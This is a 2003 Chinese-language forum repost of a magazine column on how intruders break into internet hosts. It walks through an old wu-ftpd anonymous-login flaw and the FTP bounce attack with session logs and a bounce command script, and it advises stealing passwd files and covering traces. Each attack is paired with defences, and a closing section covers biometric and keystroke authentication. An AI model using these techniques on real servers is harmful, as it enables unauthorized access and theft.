Board logo

标题: 如何入侵Internet上的主机^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ [打印本页]

作者: hei007    时间: 2003-8-19 23:49     标题: 如何入侵Internet上的主机^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

如何入侵Internet上的主机
     在网路上受到攻击是难免的,虽说道高一尺,魔高一丈,对於网路上的主机,还是得小心防治才是。 Sacheman敬告读者:为避免有心人士以本期讲解之方式入侵他人系统,入侵方式之关键技术部份并不予以详细说明,仅讲解其流程。而且内容并未讲解如何避免他人追查入侵者之方式,若是贸然使用这些方式入侵他人系统很有可能被抓到,请读者不要轻易尝试。
     当一个入侵者要侵入(破坏)一台网路上的主机时,一般会由下列几种方式达成他的目的:1找出该网路主机上的伺服程式是否设计缺陷并有可供入侵之处。2找出该网路主机所使用的信协定是否有先天上的安全漏洞。3藉由某种手段使该网路主机瘫痪。4困扰对方主机上的系统管理员或使用者,降低对方工作能力。因为这些攻击都是从网路上来的,因此如果您或您的公司要避免受到这些攻击,最简单又快速的方法就是去五金行买把大榔头,然後对准您的Router或是Modem给它一槌,或是拿把大剪刀把网路线给剪了,保证全世界最厉害的hacker也拿您的电脑没法子,从此您再也不用担心网路安全方面的问题(只是可能您也没网路可用了)。下面将就这几种情况分别予以说明,并有入侵实际过程与入侵原理解说,并说明其防治方式。利用伺服程式的缺陷入侵系统FTP入侵:wu-ftpd2.x版以前安全缺陷(其版次在此不公开)。wu-ftpd是WashingtonUniversity(美国华盛顿大学)所研发出来的FTP伺服程式,广泛应用在各型UNIX主机上作为FTP伺服程式.它可以接受一般的用户签入,也提供以Anonymous或ftp为名的匿名签入以开放主机上的公开档案供大众Download用。其2.2版本以前有一个很严重的安全缺陷:一个匿名的使用者经由下列程序也可以取得一般使用者的权限以进入系统磁碟:1.以任何一个FTPClient端程式连线到使用wu-ftpd2.x版以前架设的FTP站台。2.要求签入时,使用匿名帐号签入,但不要使用anonymous而使用FTP。3.在根目录下再次使用chdi/(cd/)命令,即可切换到一般系统目录而不只是公众目录。
        现在在此示范如何入侵网路上的一台please.hack.me主机,实例如下:(中文部份为注解)linux1:~#ftpplease.hack.meConnectedtoplease.hack.me220hackFTPserver(Versionwu-2.x(x)SunMay14:57:12CDT1993)ready.Name(linux1.twunix.org:root):ftp331Guestloginok,sendyourcompletee-mailaddressaspassword.Password:230-Welcome,archiveuser!ThisisanexperimentalFTPserver.Ifhaveany230-unusualproblems,pleasereportthemviae-mailtoroot@please230-Ifyoudohaveproblems,pleasetryusingadash(-)asthefirstcharacter230-ofyourpassword--thiswillturnoffthecontinuationmessagesthatmay230-beconfusingyourftpclient.230-230Guestloginok,accessrestrictionsapply.RemotesystemtypeisUNIX.Usingbinarymodetotransferfiles.ftp>ls-l一般匿名帐号进入後,先查看所在目录内容200PORTcommandsuccessful.150OpeningASCIImodedataconnectionfor/bin/ls.total9drwxrwxr-x8rootwheel1024Sep1109:31.drwxrwxr-x8rootwheel1024Sep1109:31..drwxrwxr-x2rootwheel1024Sep1109:31bindrwxrwxr-x2rootwheel1024Sep1109:31etcdrwxrwxr-x2rootwheel1024Dec31993incomingdrwxrwxr-x2rootwheel1024Nov171993libdrwxrwxr-x2rootwheel1024Sep1109:31pubdrwxrwxr-x3rootwheel1024Sep1109:31usr-rw-r--r--1rootroot312Aug11994welcome.msg226Transfercomplete.以一般匿名帐号进入後只能看到公众目录内容ftp>pwd257“/”iscurrentdirectory.ftp>cd/虽然已经在根目录下,依然再次切换到/目录250CWDcommandsuccessful.本来应该是要回应「无此目录」的(因为已经在最底层)但是依然可以继续切换ftp>ls-l再次查验现在目录内容200PORTcommandsuccessful.150OpeningASCIImodedataconnectionfor/bin/ls.total777drwxr-xr-x19rootroot1024Oct608:58.drwxr-xr-x19rootroot1024Oct608:58..drwxr-xr-x2rootbin2048Sep1117:31bindrwxr-xr-x2rootroot1024Sep1117:35bootdrwxr-xr-x3rootroot20480Oct1400:03devdrwxr-xr-x9rootroot2048Oct1410:41etcdrwxr-xr-x3rootroot1024Oct507:26extdrwxr-xr-x2rootroot1024Sep1109:42floppydrwxr-xr-x8rootroot1024Oct1111:52homedrwxr-xr-x3rootroot1024Sep1117:27libdrwxr-xr-x2rootroot12288Sep1117:16lost+founddrwxr-xr-x2rootroot1024Jul1013:23mntdr-xr-xr-x5rootroot0Oct1408:03proc-rw-------1rootroot139424Sep2817:00quota.userdrwxr-x--x3rootroot1024Sep2814:07rootdrwxr-xr-x2rootbin2048Sep1117:31sbindrwxr-xr-x2rootroot1024Sep1117:18shlibdrwxrwxrwt3rootroot1024Oct1410:40tmpdrwxr-xr-x24rootroot1024Jul81994usrdrwxr-xr-x14rootroot1024Sep1117:32var-r--------1rootroot596263Sep1117:33vmlinuz226Transfercomplete.已经变成一般系统目录了。ftp>入侵原理解说:此一入侵乃是利用FTP公众匿名帐号anonymous,ftp其中後者的ftp正好与系统中内定的FTP公众帐号目录名称相同,使得系统误以为ftp是一个已经登记的用户而不是一个公众匿名帐号而使其进入系统目录中。为什麽会有这种现象发生呢?原来FTP伺服程式将连线进来的使用者分为「匿名帐号」与「正式帐号」。如果是匿名帐号,则系统仅要求其输入自己的E-Mail或是Ident资料当密码,就可以进入系统中的/home/ftp目录中,而以/home/ftp当作此类使用者的根目录,这种用anonymous或是ftp当帐号匿名签入的使用者是没有办法切到系统目录中的(实际的/目录),再怎麽下chdir/命令也只能到/home/ftp为止。而如果是在/etc/passwd中登记有案的帐号,则以系统中实际的/为其根目录,此类使用者可以在其权限范围内浏览整颗硬碟。而因为匿名帐号是以/home/ftp目录为起点,正好与ftp此一匿名帐号相同,故wu-ftpd2.x版以前的版本会将使用ftp签入的帐号亦视为一般User。(不过如果是用anonymous此一匿名帐号签入,就不会有这种状况了)使用ftp帐号并入侵到系统里面以後会有什麽好处呢?由於该入侵者已经可以完整浏览该硬碟,并享有一般User之权限,当然入侵者也可以进到/etc目录下,并读取passwd档案。如果该系统没有做shadow的话,那就可以大大方方地拿走passwd档案,然後回家利用类似上期本专栏所介绍之密码分析程式算出密码来。如果正好还破出root的密码的话,那就……入侵防治方式:1.如果你的ftp伺服程式是wu-ftpd而且版号低於2.4版,请尽快换到2.4版使用。2.将ftp帐号列入/ftp/ftpusers档案中,让匿名使用者只能利用anonymous此一匿名帐号签入。3.替系统安装ShadowPassword。4.再次确认系统中没有叫做ftp或是anonymous的目录。5.改/etc/inetd.conf档案,关闭FTP服务。利用通信协定先天上的安全漏洞入侵系统这次我们依然以FTP程式作为说明,讲解如何由FTP通信程式本身的漏洞来窃取某些敏感性资料。FTPBounce跳跃攻击法本范例将讲解如何经由FTP窃取到被限制传送的软体。某一位於美国的FTP主机,暂名为A主机,其IPAddress为a.a.a.a,在其中的/export-restrict目录中放有一禁止出口的密码程式crypt.tar.gz,此目录被设定为只要不是美国本土的主机连线,就无法取得/export-restrict目录中的任何档案。(注一)现在在台湾有一台C主机,其IPAddress为c.c.c.c,C主机上有一个用户想要连线到A主机去Downloadcrypt.tar.gz这一个编密软体,但是A主机拒绝让C主机传送这个档案。因为A主机经由检查C主机的IPAddress之後,得知C主机并不位在美国,因此不让C主机download这个档案。但是A主机可以用同样的程序检查出哪些主机位於美国,并且让这些主机进去拿资料。现在假设在美国有一台公众FTP主机,名为B主机,其IPAddress为b.b.b.b,此一B主机开放一个/upload目录让大家放档案上来和其他人分享,任何人都可以放档案到/upload里面,也可以删掉自己所放的档案。C主机上的这一个用户很想要拿到这个编密软体,但是受限於出口禁令无法拿到这个档案。有一天他发现B主机上有一个/upload目录可以供大家上传shareware档案(亦即是一个大家都可读可写的目录),於是C主机上的这个用户想出了个好点子,利用FTPBounce跳跃攻击法,把B主机当作中介主机来偷到A主机上的crypt.tar.gz档案。1.首先,该用户以自己机器的真实IPAddress(不能用localhost或是127.x.x.x)连上自己的机器:linux1:~#ftp168.95.109.222Connectedto168.95.109.222.220linux1FTPserver(Versionwu-2.4(4)SunJun2222:47:03CDT1997)ready.Name(localhost:root):user1331Passwordrequiredforuser1.Password:230Useruser1loggedin.RemotesystemtypeisUNIX.Usingbinarymodetotransferfiles.2.接下来,使用quote指令将FTP内部命令pasv传送给FTP伺服程式,使其进入被动模式(PassiveMode)ftp$quotepasv227EnteringPassiveMode(168,95,109,222,5,243)刚刚要您使用真实IPAddress连上自己机器而不要用localhost用意即在此,如果你用localhost连上,则通信是藉由loopback介面来传送,而不是真实的网路介面,无法得知进入passivemode以後所使用的通信Port号码。如果用了localhost就会变这样:ftp$quotepasv227EnteringPassiveMode(127,0,0,1,5,243)得到这个资讯对我们一点帮助都没有。现在将您刚刚使用pasv命令所得到的IP位址以及Port数目抄下来,稍後应用(就是168,95,109,222,5,243)。3.再使用一次quote命令,送出stor指令,并指定要存一个新档案“foo”。(foo是惯用字,你可以自己取别的名字)4.现在你的FTP程式应该已经停掉了,暂时别理它(但是别把连线切断,就让它保持这样)5.用文字编辑器编辑如下的档案(是一个指令稿,让我们能够遥控B主机做我们想要做的动作,就好像是我们直接在B主机上操作一个FTPClient程式一样,右右括号为其解说,编辑时不用打上去):完成後,将此一档案定一个你喜欢的名字。在这边我们使用command为名称。6.现在再用FTP连线到B主机去,然後用匿名使用者登录,并且切换到/upload目录去。刚刚我们已经讲过,B主机的/upload目录是供使用者上传Shareware或其他资料用的,因此任何人都可以在这边写入资料。现在先使用put指令将刚刚写好的指令稿command上传到B主机的/upload目录中(cd/upload;putcommand)。7.在B主机上再次使用quote命令送出“porta,a,a,a,0,21”这就是A主机的IPAddress,而且我们指定用21号的Port来传送资料。8.现在继续使用quote指令送出“retrcommand”将command指令稿的内容列出,其结果将会变为执行该档案内容。9.由於command档案中指挥B主机去A主机抓资料(第7步骤时已经将B主机和A主机连结),而A主机由於从IPAddress查出B主机为美国境内的主机,因此允许来自B主机的抓档请求。10.现在检查第叁步骤所产生的‘foo’档案,现在应该已经变为crypt.tar.gz,此一档案之内容,资料窃取成功。入侵原理解说由於本例中的A主机不接受美国以外地区的主机撷取关於密码的资料,因此我们透过一台同样位於美国且具有一个公众目录的B主机来帮我们抓资料。其关键技术在於利用了B主机的「远端执行」能力,藉由预先写好的指令稿遥控B主机,为我们到A主机上去抓到我们想要的资料。userftp(以ftp为使用者签入,变为匿名使用者)pass-anonymous@(密码用anonymous,并且在前面加上1‘-’将对方伺服器(就是稍後要连接的A主机)的显示讯息关掉,避免发生问题。後面加上@让它看起来比较像是一个E-MailAddress)cwd/export-restrict(切换到/export-restrict目录)typei(切换到二进位模式来传送非文字档案)port168,95,109,222,5,243(将B主机和C主机之间建立一条连线通道,此处168,95,109,222,5,243就是在第二步骤时所得到之C主机IPAddress与PortNumber)retrcrypt.tar.gz(叫出crypt.tar.gz内容(就是一般拿取档案时的动作)quit(结束连线)AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......(此部份需要满60KBytes,将双边机器的TCP视窗填满,以避免FTP的控制连接过早被中断。要注意的是,此一60K左右的无意义资料一行最多250字元时就必须换行,以免在某些机器上被拒绝。)而在我们自己的C主机上所使用的ftp程式,其实并不实际做FTP资料的动作,而只是用来做资料收听而已。我们使用pasv指令以後就会进入FTP程式的被动模式(PassiveMode),FTP程式将不再主动撷取资料而是进入被动接收资料的状态。FTP程式在进入被动模式以後会回应一个Port数给我们,就是上例中的168,95,109,222,5,243。此Port即为进入PsssiveMode以後FTP程式所收听资料用的Port,如果读者手边有其他能监听指定Port并将收听到的资料写入档案的工具程式的话,也可以拿来应用,并不一定要用FTP程式,只是FTP程式人人有,不劳您另外费心寻找一个监听程式。接着,再送一个stor命令,并指定档名,则指定Port上收听到的资料都会存到此一档案中。在第五步骤中所编辑的指令稿,其实就是若我们想要直接到A主机上去抓编密软体时所会下的指令,但是由於A主机并不允许我们直接去抓,只好透过一个能到A主机抓资料,且能听从我们指令的主机来代劳,那就是B主机了。FTPBounce跳跃攻击法的技术重点就在此。利用一台中介主机帮我们抓资料,但是资料不实际存到中介主机上,直接送到我们这边来;这就好像是一个跳板一样,我们踩着跳板到达我们的目的地,但是跳板并不是我们的目标,而且跳板用完以後就没用了。而要成为一个可资我们利用的中介主机,必须具备下列两个条件:1.有一个公众目录,可读可写,用来让我们放入指令稿。2.可以接受远端执行的动作。这种主机实在是太多了,像是淡江、东海等大学的AnonymousFTPServer都有提供一个/incoming或是/upload目录,让大家upload东西上来跟大家分享,这同时也造就了FTPBounce跳跃攻击法实行成功的绝佳场所。而远端执行不一定每台FTP主机都能做,因为有些系统管理员怕困扰,把这项功能关掉了。(故非不能也,实不为也)早期的ftpd程式甚至可以作一些在Shell下才能做的事情,岂不是很可怕?还有每台主机的指令参数之使用方法会因为FTPServer程式而略有不同,建议先使用quotehelpport命令查一下该主机的port命令到底要怎麽下才适当,以免无法实行。而我们将指令稿放上B主机後,先在B主机上以port命令指挥其连上A主机(porta,a,a,a,0,21),再以指令稿中的内容指挥其登录A主机,进入A主机存放编密软体的目录。进入目标所在目录後,再用一次port命令使B主机与自己的C主机连结,然後下retr指令列出crypt.tar.gz档案内容,由於A、C主机经由以上步骤已经算是透过B主机连在一起,(还记得前面曾经让C主机上的FTP程式保持在某一Port上的监听状态?)故只要B主机将A主机上的crypt.tar.gz档案内容给show出来,马上就会被C主机上的FTP监听程式截取下来,於是crypt.tar.gz就到了我们手上了。传送完成以後,记得要清理一下垃圾,把我们放到B主机上的command档案删掉,以免行迹败露。接着说明command指令稿中最後附上的一大串AAAAAAAAAAA……的意义。其实那只是一堆垃圾,随便你填些什麽东西都可以,主要用意在使A主机与B主机之间的连线不要太快关闭,一个FTP程式共采用两个Port来通信:20与21两个Port,一个是资料通道,一个是控制通道。FTP指令透过Port21来下,而实际上资料是经由20号Port来送,要完成FTP资料传送,此两者缺一不可。如果你只用21号port来连,但是实际上没有20号的资料通道,就算能下命令也没办法读到对方主机上的资料,来看下面的范例:linux1:/etc#telnetlocalhost20Trying127.0.0.1......telnet:Unabletoconnecttoremotehost:Connectionrefused(用20号资料传送Port无法进入,只能用21号的控制命令Port进入)linux1:/etc#telnetlinux1.twunix.org21Trying10.1.1.1......Connectedtolinux1.twunix.org.Escapecharacteris‘^]’.220linux1FTPserver(Versionwu-2.4(4)SunJun2222:47:03CDT1997)ready.userroot331Passwordrequiredforroot.pass******230Userrootloggedin.list425Can’tbuilddataconnection:Connectionrefused因为我们实际上是用telnet来连接FTPServer,故只用到21号控制命令通道,而没有实际的资料连接,虽然可以Login的进去,但是无法抓到资料。上例中当我们要下list指令列出该主机上的资料时,因为没有资料通道连接所以无法实行。在FTPBounce跳跃攻击法的指令稿中,最後会作一个quit的动作以结束连线,但是这是一个指令稿,所有的指令是一次送上,并非像我们平常在使用FTP抓资料时是一步一步下命令,一定是先抓完档案才会quit,所以很有可能在刚下retr指令,资料没传完之前就先把连线给断了。为此我们在指令稿後面放上一大堆的垃圾,将双边主机的TCPWindow(TCP资料框)给塞满,用以干扰TCP资料流处理程式使其不要那麽快把资料连线给断掉,一般的TCPWindow大概有25K-30K左右的大小,为了保险起见,我们采用最大的30K,且乘以二(因为在一条资料路径上有两台主机),後面用以干扰TCP资料流处理程式而附上的字串每行不要超过250个字元,否则有些FTPServer会将整个指令稿视为无效资料而丢弃,就无法发挥作用了。而FTPBounce攻击法只能拿来偷限制出口的资料吗?事实上,只要一台AnonymousFTP主机设定不妥当,安全漏洞多的话,利用/upload目录可以玩的花样还更多,除了入侵外,还可以偷别人资料或是把别人的主机给Crash掉,而且类似的技巧也可以应用在发送根本没有办法查出来源的信件与News,干扰他人主机效能等。入侵防治方式:FTPBounce攻击法因为是藉由TCP/IP上FileTransferProtocol本身的漏洞来达成,除非你不用TCP/IP通信协定,不然都将会遭到FTPBounce或其衍生攻击方式的攻击,可以做的防治措施如下:1.避免自己的主机上有会受入侵的服务(乾脆把FTP给关了)。2.不使用TCP/IP通信协定。而FTPBounce攻击法的中心思想乃是利用防密不周严的主机当中介主机(也就是替死鬼)来帮自己作破坏行为,别人到时候被入侵了可能抓不到始作俑者就拿您开刀,因此您可以采用下列措施避免自己的主机变成替死鬼:1.不要提供FTP服务,或是仅提供限定功能的FTP(如TIS-FirewallKit之ftpd)。2.不要开放/upload目录,有时太热心公益也是一种错误(所谓「好心被雷亲」)。本期专栏因受限於篇幅,在此先告一段落。(注二)网路入侵方式的第叁,四项将在下期专栏讲解。内容有电子邮件伪造与其原理,如何偷看到其他主机的网路与执行状态,由其他服务得到更多有用的入侵参考资讯等。如果您真的对系统安全细节有兴趣,欢迎参加我们的课程或与笔者联络。(作者E-Mail:variox01@ms1.hinet.net)注一:按美国有密码软体出口禁令,凡是只要牵扯到有关密码的特定程式都禁止输出。通常禁止出口的都是那些较高难度的密码程式,简单的密码程式是可以出口的。注二:本期专栏所列举之入侵方式,部份关键技术已经抽掉,以避免有心人士滥用在不正当的用途上,只是让您了解入侵方式的概念与大略方式。因此,如果你不能在您的主机上实行,那是正常的。上期本专栏曾经提过一般电脑上的使用者宣告与认证方式,但是受限於篇幅未讲解其他的认证方式,在此特别补述。电脑系统如何辨识使用者,称为「认证」(Authentication)方式,包括了使用者身分的宣告与使用者身分确认。前者可用身分表示帐号或物件,後者认证方式包括密码,生物认证与个人习惯等。生物认证(BiologicalAuthentication)生物认证采用每一生物所独有(Unique)之特徵以兹识别独立生物个体,所采用之认证条件必须每一生物个体都不同。生物认证经常采用的方式有:1.指纹每个人的指纹都不一样,藉由小型的影像扫描器就可以得到受测者的指纹,分析後得知是否确实为某人。又由於人类皮肤层会分泌出特别的分泌物,且会遗留在物体上,早已广泛应用在犯罪追踪上。2.视网膜人类视网膜的血管分布亦是每个人都不同,要求受测者目视高解析摄影机,藉此得到某人的视网膜分布状况来辨别身分。3.声音每个人说话的频率、音品、波形均不同,可藉此辨认身分。但可能因为个人当时身体状况(如感冒、喉痛声哑)而改变声音,通常会搭配其他方式做辨认,不独立使用。除了以上的几种方式,其实人身上还有很多独特且可资辨认的地方,如DNA(细胞遗传物质)、血液、分泌物等。但因为使用这些方式做认证有其实行上的不便利之处(没有人想要每用一次电脑就得抽一次血吧?)因此较少采用。个人习惯(PersonalCustomary)此类身分认证方式藉由每个人习惯的差异来辨认每个使用者,通常会和其他认证法搭配使用,以增加认证的可靠性。1.按键节拍侦测(KetstrokeRhythmSensing)这是最常用的个人习惯身分认证法,需与密码输入身分认证一起搭配使用。通常的情况,一个人除非经常改密码,否则对於每天都要输入一次,乃至於十几次的密码应该是再熟悉也不过了,就算是多复杂的密码,连续打了几天以後应该也会记牢了。(如果这样还记不起来,就应该去找医生检查一下自己的头有没有烧坏了)一个已经熟悉自己密码的人,在键盘上输入起密码来理当是很快的,不会有还要临时停顿下来找某个键在哪里的情况发生。各位读者可以试着在自己的键盘上输入下面的字串:3Prlxu7x&`?看看要花多久的时间,而且按键的过程中不能按错键喔!这组字串中混合了大小写,符号以及数字,需要充分的运用到键盘一般字元区各个角落的按键。如果你能在两秒钟之内按完这组字串而且不出错,就表示你已经算是「熟悉」了这组字,和自己第一次输入这组字的时间比比看,差了多久的时间?上面的例子就是让各位读者了解,熟悉一组字的人和不熟悉的人输入字会有什麽样的差异。而除了输入时间的差异外,输入字的节拍也会因人而有差异。尤其像上面例子中,每个字元之间在键盘分布的位置都不同,有人打字可能比较偏重右手,也有人偏重左手,甚至刚学电脑的人也可能会用「一指神功」来打字。这几种打字方法造成每个人输入每个字元之间的时间都会有些微的差距,这就是打字的节拍,电脑藉由记录每个人打字时每个字元的秒差来辨认每个人,密码的真正主人可以在输入密码的某两个字元之间故意放慢速度,其他人很难知道此项只有本人才知道的差异。这样就算密码被偷了,入侵者也无法通过按键节拍侦测这一关。2.个人签名(PersonalSignature)同样是写一个字,每个人写出来的样子都不同,除了字型以外,写字时施力度的大小,写字速度等也会有差异,和按键节拍侦测一样是一种采用个人习惯来辨认身分的方式。平常写字的字迹可以被模仿,或是影印下来使用,但是写字时施力大小与写字时每一笔每一划的速度就不是每个人都模仿得来的了。使用个人签名认证的电脑会提供一支光笔,可能会附上压力感应以侦测写字时候所施予笔上压力的大小。





欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/) Powered by Discuz! 7.2